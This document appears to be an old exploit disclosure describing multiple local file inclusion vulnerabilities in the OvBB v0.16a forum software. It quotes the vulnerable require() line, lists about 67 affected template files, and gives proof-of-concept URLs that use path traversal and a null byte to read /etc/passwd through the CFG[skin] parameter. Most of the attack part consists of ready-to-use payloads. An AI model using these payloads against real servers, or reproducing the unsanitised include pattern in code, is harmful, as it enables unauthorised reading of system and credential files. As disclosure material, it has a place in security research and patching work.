OvBB v0.16a Multiple Local File Inclusion Vulnerabilities
Found by cOndemned
Tested on Linux Debian (apache + php5 + mysql)
(download at http://sourceforge.net/projects/ovbb/)
 
 
source of /skins/default/addevent.tpl.php
 
    1.  <?php
    2.      // Header.
    3.      $strPageTitle = " :: Calendar :. New{$strType} Event";
    4.      require("./skins/{$CFG['skin']}/header.tpl.php");       // LFI
 
 
description:
 
    register_globals must be turned on and magic quotes gpc must be turned
    off in order to exploit thoes vulnerabilities.
 
    thing looks the same in ALMOST all files in /skins/default directory.
    (there is about 67 vulnerable files)
 
    prior versions may also be affected.
 
 
list of vulnerable files:
 
    /skins/default/addevent.tpl.php
    /skins/default/alreadyregistered.tpl.php
    /skins/default/calendar.tpl.php
    /skins/default/deleteposts.tpl.php
    /skins/default/deletethread.tpl.php
    /skins/default/editevent.tpl.php
    /skins/default/editpost.tpl.php
    /skins/default/forgotdetails.tpl.php
    /skins/default/getip.tpl.php
    /skins/default/index.tpl.php
    /skins/default/justregistered.tpl.php
    /skins/default/login.tpl.php
    /skins/default/mailuser.tpl.php
    /skins/default/memberlist.tpl.php
    /skins/default/movecopythread.tpl.php
    /skins/default/newpoll.tpl.php
    /skins/default/online.tpl.php
    /skins/default/pollresults.tpl.php
    /skins/default/post.tpl.php
    /skins/default/register.tpl.php
    /skins/default/sysmessage.tpl.php
    /skins/default/unauthorized.tpl.php
    /skins/default/admincp/addattachment.tpl.php
    /skins/default/admincp/addavatar.tpl.php
    /skins/default/admincp/addforum.tpl.php
    /skins/default/admincp/addposticon.tpl.php
    /skins/default/admincp/addskin.tpl.php
    /skins/default/admincp/addsmilie.tpl.php
    /skins/default/admincp/addusergroup.tpl.php
    /skins/default/admincp/addusergroupuser.tpl.php
    /skins/default/admincp/attachments.tpl.php
    /skins/default/admincp/avatars.tpl.php
    /skins/default/admincp/censored.tpl.php
    /skins/default/admincp/editattachment.tpl.php
    /skins/default/admincp/editavatar.tpl.php
    /skins/default/admincp/editforum.tpl.php
    /skins/default/admincp/editposticon.tpl.php
    /skins/default/admincp/editskin.tpl.php
    /skins/default/admincp/editsmilie.tpl.php
    /skins/default/admincp/editusergroup.tpl.php
    /skins/default/admincp/forums.tpl.php
    /skins/default/admincp/general.tpl.php
    /skins/default/admincp/posticons.tpl.php
    /skins/default/admincp/removeattachment.tpl.php
    /skins/default/admincp/removeavatar.tpl.php
    /skins/default/admincp/removeforum.tpl.php
    /skins/default/admincp/removeposticon.tpl.php
    /skins/default/admincp/removeskin.tpl.php
    /skins/default/admincp/removesmilie.tpl.php
    /skins/default/admincp/removeusergroup.tpl.php
    /skins/default/admincp/skins.tpl.php
    /skins/default/admincp/smilies.tpl.php
    /skins/default/admincp/style.tpl.php
    /skins/default/admincp/usergroups.tpl.php
    /skins/default/pm/folders.tpl.php
    /skins/default/pm/inbox.tpl.php
    /skins/default/pm/newmessage.tpl.php
    /skins/default/pm/sentitems.tpl.php
    /skins/default/pm/tracking.tpl.php
    /skins/default/search/main.tpl.php
    /skins/default/usercp/avatar.tpl.php
    /skins/default/usercp/buddylist.tpl.php
    /skins/default/usercp/ignorelist.tpl.php
    /skins/default/usercp/main.tpl.php
    /skins/default/usercp/options.tpl.php
    /skins/default/usercp/password.tpl.php
    /skins/default/usercp/profile.tpl.php
 
 
proof of concept:
 
    http://[target]/[OvBB_path]/skins/default/addevent.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
    http://[target]/[OvBB_path]/skins/default/alreadyregistered.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
    http://[target]/[OvBB_path]/skins/default/calendar.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
    http://[target]/[OvBB_path]/skins/default/deleteposts.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
    http://[target]/[OvBB_path]/skins/default/deletethread.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00
 
    etc...